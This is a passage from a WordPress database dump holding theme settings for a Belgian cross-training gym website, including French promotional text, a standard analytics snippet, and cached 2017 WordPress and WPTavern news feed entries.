section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_3\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:28;a:5:{s:4:\&quot;name\&quot;;s:29:\&quot;Third Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:50:\&quot;Enter your text heading for third feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_3\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:29;a:5:{s:4:\&quot;name\&quot;;s:33:\&quot;Third Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:58:\&quot;Enter your content for third feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_3\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:30;a:3:{s:4:\&quot;name\&quot;;s:23:\&quot;Fourth Feature Section.\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;saperate\&quot;;s:5:\&quot;class\&quot;;s:9:\&quot;saperator\&quot;;}i:31;a:5:{s:4:\&quot;name\&quot;;s:28:\&quot;Fourth Feature Section Image\&quot;;s:4:\&quot;desc\&quot;;s:45:\&quot;Choose your image for fourth feature section.\&quot;;s:2:\&quot;id\&quot;;s:21:\&quot;figero_featured_img_4\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:6:\&quot;upload\&quot;;}i:32;a:5:{s:4:\&quot;name\&quot;;s:30:\&quot;Fourth Feature Section Heading\&quot;;s:4:\&quot;desc\&quot;;s:51:\&quot;Enter your text heading for fourth feature section.\&quot;;s:2:\&quot;id\&quot;;s:19:\&quot;figero_featured_h_4\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:33;a:5:{s:4:\&quot;name\&quot;;s:34:\&quot;Fourth Feature Section Description\&quot;;s:4:\&quot;desc\&quot;;s:59:\&quot;Enter your content for fourth feature section descriptions.\&quot;;s:2:\&quot;id\&quot;;s:17:\&quot;figero_featured_4\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}i:34;a:2:{s:4:\&quot;name\&quot;;s:15:\&quot;Styling Options\&quot;;s:4:\&quot;type\&quot;;s:7:\&quot;heading\&quot;;}i:35;a:5:{s:4:\&quot;name\&quot;;s:10:\&quot;Custom CSS\&quot;;s:4:\&quot;desc\&quot;;s:62:\&quot;Quickly add some CSS to your theme by adding it to this block.\&quot;;s:2:\&quot;id\&quot;;s:16:\&quot;figero_customcss\&quot;;s:3:\&quot;std\&quot;;s:0:\&quot;\&quot;;s:4:\&quot;type\&quot;;s:8:\&quot;textarea\&quot;;}}s:12:\&quot;of_themename\&quot;;s:6:\&quot;Figero\&quot;;s:12:\&quot;of_shortname\&quot;;s:2:\&quot;of\&quot;;s:11:\&quot;figero_logo\&quot;;s:74:\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2014/02/lm-coach2.png\&quot;;s:14:\&quot;figero_favicon\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_analytics\&quot;;s:435:\&quot;&lt;script&gt;\r\n  (function(i,s,o,g,r,a,m){i[\'GoogleAnalyticsObject\']=r;i[r]=i[r]||function(){\r\n  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\r\n  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\r\n  })(window,document,\'script\',\'//www.google-analytics.com/analytics.js\',\'ga\');\r\n\r\n  ga(\'create\', \'UA-42733144-1\', \'crosstrainingcenter.be\');\r\n  ga(\'send\', \'pageview\');\r\n\r\n&lt;/script&gt;\&quot;;s:20:\&quot;figero_slideheading1\&quot;;s:1:\&quot; \&quot;;s:24:\&quot;figero_slidedescription1\&quot;;s:247:\&quot;Unique en Belgique, une nouvelle façon de faire du fitness. Venez découvrir notre salle de cross training à Namur. Chez nous, vous bénéficierez d’un encadrement professionnel et d’entrainements personnalisés pour atteindre vos objectifs.\&quot;;s:18:\&quot;figero_slidel_rb_1\&quot;;s:15:\&quot;Séance Booster\&quot;;s:17:\&quot;figero_slidel_r_1\&quot;;s:46:\&quot;http://www.crosstrainingcenter.be/?page_id=266\&quot;;s:18:\&quot;figero_slidel_lb_1\&quot;;s:21:\&quot;Réservation en ligne\&quot;;s:17:\&quot;figero_slidel_l_1\&quot;;s:42:\&quot;http://reservation.crosstrainingcenter.be/\&quot;;s:18:\&quot;figero_slideimage1\&quot;;s:77:\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/silouhette62.png\&quot;;s:16:\&quot;figero_headline1\&quot;;s:1:\&quot; \&quot;;s:15:\&quot;figero_feature1\&quot;;s:1492:\&quot;&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding-right: 15px; text-align:justify; width: 50%; padding-bottom:30px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Un coaching personnel&lt;/div&gt;&lt;br&gt;Un coach vous suivra tout au long de vos séances pour vous proposer des exercices adaptés à votre niveau, vos objectifs et vos caractéristiques individuelles.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding-left: 15px; text-align:justify; width: 50%;  padding-bottom:30px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Un encadrement professionnel&lt;/div&gt;&lt;br&gt;Notre équipe est composée de spécialistes issus du milieu de l’éducation physique, de la kinésithérapie, de la diététique et de la médecine.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding-right: 15px; text-align:justify; width: 50%;  padding-bottom:30px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Des outils innovants&lt;/div&gt;&lt;br&gt;Fini le travail répétitif, monotone et peu efficace des salles de musculation. Grâce aux TRX, RIP Trainer, Kettlebel, … des outils funs, travaillez votre muscle de manière fonctionnelle et performante dans une ambiance conviviale. &lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding-left: 15px; text-align:justify; width: 50%;  padding-bottom:30px\&quot;&gt;&lt;div class=\&quot;objectif\&quot;&gt;Une approche globale&lt;/div&gt;&lt;br&gt;Pour optimaliser le travail et  vous aider à atteindre vos objectifs, nous vous proposons d’intervenir sur 3 éléments importants : l’alimentation, l’activité physique et le stress.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\&quot;;s:16:\&quot;figero_headline2\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_testo_desc1\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_1\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_1\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_2\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_2\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_2\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_3\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_3\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_3\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_4\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_4\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_4\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_customcss\&quot;;s:0:\&quot;\&quot;;s:10:\&quot;of_options\&quot;;a:29:{s:11:\&quot;figero_logo\&quot;;s:0:\&quot;\&quot;;s:14:\&quot;figero_favicon\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_analytics\&quot;;s:0:\&quot;\&quot;;s:20:\&quot;figero_slideheading1\&quot;;s:0:\&quot;\&quot;;s:24:\&quot;figero_slidedescription1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_slidel_rb_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_slidel_r_1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_slidel_lb_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_slidel_l_1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_slideimage1\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_headline1\&quot;;s:0:\&quot;\&quot;;s:15:\&quot;figero_feature1\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_headline2\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_testo_image1\&quot;;s:0:\&quot;\&quot;;s:18:\&quot;figero_testo_desc1\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_1\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_1\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_1\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_2\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_2\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_2\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_3\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_3\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_3\&quot;;s:0:\&quot;\&quot;;s:21:\&quot;figero_featured_img_4\&quot;;s:0:\&quot;\&quot;;s:19:\&quot;figero_featured_h_4\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;figero_featured_4\&quot;;s:0:\&quot;\&quot;;s:16:\&quot;figero_customcss\&quot;;s:0:\&quot;\&quot;;}s:19:\&quot;figero_testo_image1\&quot;;s:0:\&quot;\&quot;;}', 'yes'),
(176, 'widget_pages', 'a:1:{s:12:\&quot;_multiwidget\&quot;;i:1;}', 'yes'),
(144, 'of_options', 'a:0:{}', 'yes'),
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(120981, '_transient_dash_4077549d03da2e451c8b5f002294ff51', '&lt;div class=\&quot;rss-widget\&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wordpress.org/news/2017/07/the-month-in-wordpress-june-2017/\' title=\'We’re starting a new regular feature on this blog today. We’d like to keep everyone up-to-date about the happenings all across the WordPress open source project and highlight how you can get involved, so we’ll be posting a roundup of all the major WordPress news at the end of every month. Aside from other general […]\'&gt;The Month in WordPress: June 2017&lt;/a&gt; &lt;span class=\&quot;rss-date\&quot;&gt;July 3, 2017&lt;/span&gt;&lt;div class=\'rssSummary\'&gt;We’re starting a new regular feature on this blog today. We’d like to keep everyone up-to-date about the happenings all across the WordPress open source project and highlight how you can get involved, so we’ll be posting a roundup of all the major WordPress news at the end of every month. Aside from other general […]&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wordpress.org/news/2017/06/evans/\' title=\'An Update with You in Mind Gear up for a more intuitive WordPress! Version 4.8 of WordPress, named “Evans” in honor of jazz pianist and composer William John “Bill” Evans, is available for download or update in your WordPress dashboard. New features in 4.8 add more ways for you to express yourself and represent your brand. Though some […]\'&gt;WordPress 4.8 “Evans”&lt;/a&gt; &lt;span class=\&quot;rss-date\&quot;&gt;June 8, 2017&lt;/span&gt;&lt;div class=\'rssSummary\'&gt;An Update with You in Mind Gear up for a more intuitive WordPress! Version 4.8 of WordPress, named “Evans” in honor of jazz pianist and composer William John “Bill” Evans, is available for download or update in your WordPress dashboard. New features in 4.8 add more ways for you to express yourself and represent your brand. Though some […]&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;', 'no'),
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(120986, '_transient_dash_aa95765b5cc111c56d5993d476b1c2f0', '&lt;div class=\&quot;rss-widget\&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wptavern.com/gutenberg-0-5-0-adds-new-verse-block-for-poetry-and-a-new-display-for-recent-blocks\' title=\'Another round of Gutenberg updates was released today. Last weekend brought version 0.4.0, which didn’t have too many noteworthy visible changes on the frontend but introduced an API for handling pasted content. Gutenberg developers are aiming to have specific handling for converting pasted content from applications like Word, Markdown, and Google Docs to native WordPress blocks. Version 0.4.0 also added navigation between blocks using arrow keys and included a new approach for rendering embed frames. Gutenberg 0.5.0 hit dashboards today. One major improvement to the writing flow is that the editor will now avoid showing block UI while the user is typing and/or starting a new paragraph in a text block. You can test this by typing and pressing enter twice to begin a new text block. No UI should be visible during this process. Small improvements like this one are gradually bringing a bit more zen to the editor, which is still full of confusing and surprising experiences. Version 0.5.0 adds the ability to upload images via drag-and-drop onto image block placeholders. The example below shows one of my tests. While the image is uploading, it fades in and out. This experience is a bit disconcerting, especially if the upload never resolves. I’m not certain this UI provides the best communication for the status of the image upload.  This version also introduces a new Verse block, which is intended for poetry. It has a slight indent, as compared to a plain text block, but it doesn’t yet work well with copy and paste. Unless you are a poet composing in WordPress, it’s far more likely that you will be pasting in poetry content from somewhere else on the web. Other than the initial bugs, it’s a useful block for those who often post verse.  With the growing number of block types, it can be cumbersome to sort through all of them when adding a new block. Gutenberg 0.5.0 implements a new display for recent blocks. A maximum of eight are shown and the most recently used ones are displayed at the top. It does not yet persist between editor sessions, but Gutenberg contributors plan to add that in the future.  Other notable improvements in this release include the following:  New tabs mode for the sidebar to switch between post settings and block inspector Display warning message when navigating away from the editor with unsaved changes Mobile implementation of block mover, settings, and delete actions Search through all tabs on the inserter and hide tabs Enable ability to add custom classes to blocks (via inspector) Add “table of contents” document outline for headings (with empty heading validation)  Writing Long-Form Content with Gutenberg is Still a Frustrating Experience Gutenberg in its current state is a long way away from being an editor that users would embrace for long-form writing. It still contains many unnerving bugs that steal user confidence. For example, when pasting in multiple paragraphs from a lorem ipsum generator, the editor gave me a white screen and I lost all of the content in my post. After a bit of testing I found that pasting in paragraphs one at a time worked. This kind of frustrating and unexpected behavior has caused many testers to wonder why it isn’t being referred to as alpha software instead of beta. WordPress contributor Jon Brown summed up this common sentiment in a comment on the 0.4.0 release post. “It’s getting better, but it honestly still feels more like a 0.0.4 alpha than a 0.4.0 beta,” Brown said. “I’ve tried writing long form content several times with each version since 0.1.0 and each time I’m quickly frustrated by the lack of flow between blocks. It’s more frustrating than TinyMCE.” Gutenberg needs to make significant progress before it can be suitable for writing anything more than a few short paragraphs. It’s nearly impossible to get into the flow of creating long-form content with the prominence of the block UI. Right now, the editor just gets in the way. The current UI is skewed heavily towards frequent block creation. It is clutter-some and distracting for pure writing tasks. Following the evolution of the editor, with its fast-paced development cycle, is exhilarating after years of stagnation. But the project is sorely in need of a breakthrough where the Gutenberg UI finally gets out of the way of writing. \'&gt;WPTavern: Gutenberg 0.5.0 Adds New Verse Block for Poetry and a New Display for Recent Blocks&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wptavern.com/jetpack-professional-plan-introduces-unlimited-access-to-200-commercial-themes\' title=\'Automattic has been teasing its plan to add commercial themes to Jetpack for several months after introducing theme installation for self-hosted users from WordPress.com. In March, the plugin opened up access to all of WordPress.com’s free themes via the Jetpack Manage interface. All signs pointed to Automattic developing the infrastructure to offer commercial themes via Jetpack upgrades. At that time, however, Jetpack team member Richard Muscat said that Automattic had “no immediate plans to sell themes at this time.”  Yesterday those subscribed to the Jetpack Announcements email were notified that commercial themes have landed in the Jetpack Professional plan, which is regularly priced at $24.92/month or $299/year. Customers will have unlimited access to more than 200 commercial themes that are already available on WordPress.com. Jetpack users on the free plan will see all the themes available in the WordPress.com theme browser with a prompt to upgrade for the ones that are commercial.  The announcement also noted that any themes users elect to use will be automatically backed up and regularly scanned for malware as part of the security services included in the package. For those who are running a multisite network, each site will need its own Jetpack Professional subscription to have access to the commercial themes. For years the WordPress community has speculated about what Automattic’s long game was for Jetpack, and many believed it was only a matter of time before the plugin started offering commercial upgrades. It was introduced to the WordPress world in 2011  as a way to provide feature parity between WordPress.com and self-hosted sites. The first version included just eight modules, but fellow plugin developer and entrepreneurs in the community were immediately aware of its commercial potential. In 2016, Automattic CEO Matt Mullenweg identified both Jetpack and WooCommerce as “multi-billion dollar opportunities” that could each individually be larger than WordPress.com. The plugin is now active on more than 3 million WordPress sites. Automattic’s aggressive commercialization of Jetpack in the past two years is the fulfillment of initial predictions about where the plugin was headed. The new commercial themes offering significantly raises the value of the Jetpack Professional plan, which was previously targeted at business users who require unlimited storage, Google Analytics, and additional SEO features. With the addition of unlimited use of 200+ themes, Automattic has expanded the Professional plan to be more compelling for non-business users who are simply interested in gaining access to a collection of professionally-supported themes. \'&gt;WPTavern: Jetpack Professional Plan Introduces Unlimited Access to 200+ Commercial Themes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://buddypress.org/2017/07/buddypress-2-9-0-release-candidate-1/\' title=\'Today sees BP 2.9.0 move to The final testing phase Release Candidate 1. This is the last chance to test out this release and report back any issues found before final release in approximately two weeks time. Any issues found can be reported to our  trac ticket home , or raised on the support forum. Amongst other improvements and fixes to look out for are:  Fixing display of older activity comments. Correction of message when removing friends that are not friends. Group invites – omit sending to previously invited members. Profile image upload fix for IE Edge breaksIOS fix. Correct issue with hidden group &amp;amp; CSS specificity. URL compatibility for LightSpeed. Fix inability resizing of member avatar for cyrillic character filenames.  For a full list of commits see 2.9 tickets A full changelog will be available when we release the final version. You can download the plugin to test from the WP repo BP 2.9.0-RC1 or grab a copy from our SVN repo. A reminder to all theme developers that there are changes to template markup that could effect layouts and ask that they check their themes carefully, the changes are listed below along with changelog links; again any issues or problems please report as soon as possible to the BP trac or slack channel. Template changes In this release there are a number of improvements to templates that add a level of improved a11y performance and markup changes for better semantics &amp;amp; Standards. Theme authors may want to pay particular attention to changes to profile field visibility links and the profile field descriptions where significant markup changes are made that effect positioning of these elements – changesets for these are r11617 &amp;amp; r11618 Nouveau – new template pack If you’re looking for Nouveau as we mentioned in the beta2 announcement we have delayed the release of this new template pack to ensure it receives as much code checking &amp;amp; refinement as possible and we’ll be looking to probably package this as it’s own release shortly after 2.9 is released. We thank you in advance for all testing and reports and it need not be mentioned but please don’t run Beta or RC releases in a production environment only on test installs. Regards, The BuddyPress team.\'&gt;BuddyPress: BuddyPress 2.9.0 Release Candidate 1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wptavern.com/cokinetic-systems-pursues-100-million-gpl-license-violation-case-against-panasonic-avionics\' title=\'photo credit: Paper Plane – (license) Open source software has made its way into nearly every industry, but a recent open source security and risk analysis shows widespread license compliance risks, with 75% of the audited applications including GPL license conflicts. Although most violations are unintentional, there are some cases where companies do not comply with the license in order to block competitors from developing similar software. GPL enforcement doesn’t often lead to litigation. When it does, most other avenues of resolving the complaint have already been exhausted. A lawsuit in the air transport industry is currently bringing more attention to the gravity of not complying with open source software licensing requirements. CoKinetic Systems, a developer and manufacturer of in-flight entertainment (IFE) software, has filed a case against Panasonic Avionics that includes allegations of a fairly egregious breach of the GPL. The complaint alleges that Panasonic Avionics has monopolized the Panasonic IFE Software and Media Services Market by deliberately refusing to distribute the source code for its open-source Linux-based operating system: More specifically, Panasonic has built the Linux-Based Panasonic Core Software using the open-source Linux kernel, which is clearly governed by the GPL, together with Panasonic’s own modified Linux modules, which are likewise governed by the GPL.  Indeed, Panasonic has itself affirmatively identified its own modified modules as being subject to the GPL, because the original Linux modules were specifically designed to generate warning messages if other code is linked with or otherwise combined with the Linux modules that are not licensed under the GPL. To suppress these warnings, Panasonic willfully acted to insert code into its own modules to indicate that they were licensed under the GPL. Panasonic has incorporated a massive amount of open source modules, programs, and libraries into the Linux-Based Panasonic Core Software, without distributing notices or source code to the Linux-Based Panasonic Core Software, or even to any part of it…By deliberately refusing to distribute the source code to the Linux-Based Panasonic Core Software in accordance with its GPL obligations, Panasonic intentionally deprives competitors in the market from having the ability to develop software that can access the basic features and capabilities of Panasonic IFE Hardware. CoKinetic Systems contends that Panasonic’s refusal to distribute its source code voids its GPL license and “potentially exposes Panasonic to billions of dollars in statutory damages for hundreds of thousands of hardware installations that willfully infringe copyrights belonging to hundreds or even thousands of software developers that freely contributed source code to Linux.” Furthermore, the complaint details how competitors have to rely on Panasonic’s APIs in order to offer software services to airlines using Panasonic’s IFE hardware, because they do not have access to the source code for the Linux-based core software. CoKinetic claims that Panasonic also deliberately blocks competitor products by its selective distribution of its APIs, resulting in stifled industry innovation and monopoly control over the Panasonic IFE Software and Media Services Market. Perhaps the worst and most grave allegation in the complaint is that, in addition to locking up the source code and doling out access to the APIs, Panasonic also maliciously sabotaged its own APIs in order to give the appearance that it is the only reliable software service provider for its hardware, which CoKinetic claims is inferior and sold at monopolistic prices. Panasonic also is able to use its control over the Linux-Based Panasonic Core Software in order to make ongoing, undisclosed, and often malicious modifications to its source code, deliberately “breaking” Panasonic’s own APIs in order to purposely and maliciously sabotage the performance of third-party software products that Panasonic deems a competitive threat — particularly CoKinetic software. In the introduction to the case, CoKinetic cites a litany of anti-competitive conduct the company has engaged in over the past decade before detailing the current allegations. The case is not purely an open source license dispute, as the plaintiff also alleges that Panasonic abused regulatory processes, engaged in acts of corporate espionage, defamed CoKinetic, paid commercial bribes, and employed unlawful means to monopolize the Panasonic IFE Software and Media Services Market. CoKinetic is seeking compensatory damages for Panasonic’s GPL ongoing GPL breaches. The specific amount would be determined at the trial but the company believes it to be in excess of $100 million. The company also wants the court to compel Panasonic to publicly disclose and distribute the source code. This isn’t a case where distributing the source code is just a small sticking point or just a matter of principle. It has the potential to open up the IFE industry for faster progress and greater innovation. Many reading this article have undoubtedly used Panasonic’s IFE products when flying with the company’s customers, which include Emirates Airlines, Delta Air Lines, Virgin America, and United Airlines. With the source code available, airline customers could remove Panasonic’s software from their IFE hardware and replace it with their own software solutions. The complaint, which was filed in the Southern District of New York in March, demands a jury trial. An initial pre-trial conference was held in May, but the case has been slow moving. The Court gave a deadline for the Defendant to file its motion to dismiss, but deadlines have since been extended. The Court also strongly recommended that the two parties retain a private mediator but it’s not clear how outside mediation could solve such a far-reaching matter that impacts so many vendors. Additional documents are due over the next few months, so it will be some time before there are updates on the progress of the case. \'&gt;WPTavern: CoKinetic Systems Pursues $100 Million GPL License Violation Case Against Panasonic Avionics&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wptavern.com/aj-morris-acquires-ithemes-exchange\' title=\'In 2013, iThemes released Exchange, an e-commerce platform that aimed to make selling online as simple as possible. Today, the company announced that AJ Morris, Product Manager at Liquid Web, has taken over the project. “When approached about taking over iThemes Exchange early this year, we wanted to be sure the project and our customers went into very competent hands, someone who will love and care for them as much as we do,” Cory Miller, founder of iThemes, said. “Having spent four and a half years investing in the project and in you and your success, we did not take this lightly. “After numerous conversations over the past several months, we believe the best home for Exchange is with ExchangeWP LLC led by AJ Morris.” Everything iThemes Exchange related will transition to ExchangeWP.com. Toolkit, Plugin Suite, Exchange Pro Pack, and iThemes Exchange Add-on customers will be given accounts for free support and upgrades through August 2018 at ExchangeWP.com. Beginning today, customers will no longer be able to purchase Exchange or its add-ons through iThemes as the company transfers licenses and products to ExchangeWP. However, iThemes will continue to provide customer support until the transition is completed, expected to happen in early August. Morris says he’ll continue to focus on making e-commerce simple and will provide regular updates to customers to provide insight into what goes into transition a product from one company to another and where the product is heading. “These days, it’s very easy to get WordPress up and running so you can start blogging,” Morris said. “But when you want to add e-commerce to the mix, it’s a bit different.” “With big players like WooCommerce out there, it becomes too much too quickly for the average content producer to get their store up and running. “Exchange is going to continue focusing on the independent publishers that want to keep the revenue they can, while providing a simplistic experience in an easy-to-use e-commerce plugin that will help get their stores online quickly.” Allowing Morris to take over the project frees up resources for iThemes to focus on three of its flagship products; BackupBuddy, iThemes Security, and iThemes Sync. In addition to their core products, the company says it will soon release a new project. “My job as CEO is to be a steward of the time and resources we have at iThemes in order to serve you best,” Miller said. “We’ve realized for a while that it was past time for us to refocus our finite resources on the projects that have the most growth and potential for our company and you. “That meant we either needed to find a new home for Exchange or sunset the project. I’m thankful we didn’t have to do the latter.” Morris is a long-time member of the WordPress community and has spoken at several WordCamps. With Morris taking over the reigns, existing customers won’t have to worry about finding a replacement. \'&gt;WPTavern: AJ Morris Acquires iThemes Exchange&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;', 'no'),
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(120999, '_site_transient_wporg_theme_feature_list', 'a:5:{s:6:\&quot;Colors\&quot;;a:15:{i:0;s:5:\&quot;black\&quot;;i:1;s:4:\&quot;blue\&quot;;i:2;s:5:\&quot;brown\&quot;;i:3;s:4:\&quot;gray\&quot;;i:4;s:5:\&quot;green\&quot;;i:5;s:6:\&quot;orange\&quot;;i:6;s:4:\&quot;pink\&quot;;i:7;s:6:\&quot;purple\&quot;;i:8;s:3:\&quot;red\&quot;;i:9;s:6:\&quot;silver\&quot;;i:10;s:3:\&quot;tan\&quot;;i:11;s:5:\&quot;white\&quot;;i:12;s:6:\&quot;yellow\&quot;;i:13;s:4:\&quot;dark\&quot;;i:14;s:5:\&quot;light\&quot;;}s:7:\&quot;Columns\&quot;;a:6:{i:0;s:10:\&quot;one-column\&quot;;i:1;s:11:\&quot;two-columns\&quot;;i:2;s:13:\&quot;three-columns\&quot;;i:3;s:12:\&quot;four-columns\&quot;;i:4;s:12:\&quot;left-sidebar\&quot;;i:5;s:13:\&quot;right-sidebar\&quot;;}s:8:\&quot;Features\&quot;;a:19:{i:0;s:8:\&quot;blavatar\&quot;;i:1;s:10:\&quot;buddypress\&quot;;i:2;s:17:\&quot;custom-background\&quot;;i:3;s:13:\&quot;custom-colors\&quot;;i:4;s:13:\&quot;custom-header\&quot;;i:5;s:11:\&quot;custom-menu\&quot;;i:6;s:12:\&quot;editor-style\&quot;;i:7;s:21:\&quot;featured-image-header\&quot;;i:8;s:15:\&quot;featured-images\&quot;;i:9;s:15:\&quot;flexible-header\&quot;;i:10;s:20:\&quot;front-page-post-form\&quot;;i:11;s:19:\&quot;full-width-template\&quot;;i:12;s:12:\&quot;microformats\&quot;;i:13;s:12:\&quot;post-formats\&quot;;i:14;s:20:\&quot;rtl-language-support\&quot;;i:15;s:11:\&quot;sticky-post\&quot;;i:16;s:13:\&quot;theme-options\&quot;;i:17;s:17:\&quot;threaded-comments\&quot;;i:18;s:17:\&quot;translation-ready\&quot;;}s:7:\&quot;Subject\&quot;;a:3:{i:0;s:7:\&quot;holiday\&quot;;i:1;s:13:\&quot;photoblogging\&quot;;i:2;s:8:\&quot;seasonal\&quot;;}s:5:\&quot;Width\&quot;;a:2:{i:0;s:11:\&quot;fixed-width\&quot;;i:1;s:14:\&quot;flexible-width\&quot;;}}', 'yes'),
(120977, '_transient_timeout_feed_ac0b00fe65abe10e0c5b588f3ed8c7ca', '1500234976', 'no'),
(120978, '_transient_timeout_feed_mod_ac0b00fe65abe10e0c5b588f3ed8c7ca', '1500234976', 'no'),
(120990, '_transient_timeout_feed_77fa140e07ce53fe8c87136636f83d72', '1500234981', 'no');
INSERT INTO `www2_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(120991, '_transient_feed_77fa140e07ce53fe8c87136636f83d72', 'a:4:{s:5:\&quot;child\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:3:\&quot;rss\&quot;;a:1:{i:0;a:6:{s:4:\&quot;data\&quot;;s:3:\&quot;\n\n\n\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:7:\&quot;version\&quot;;s:3:\&quot;2.0\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:7:\&quot;channel\&quot;;a:1:{i:0;a:6:{s:4:\&quot;data\&quot;;s:49:\&quot;\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n		\n		\n		\n		\n		\n		\n		\n		\n		\n	\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;New — WordPress 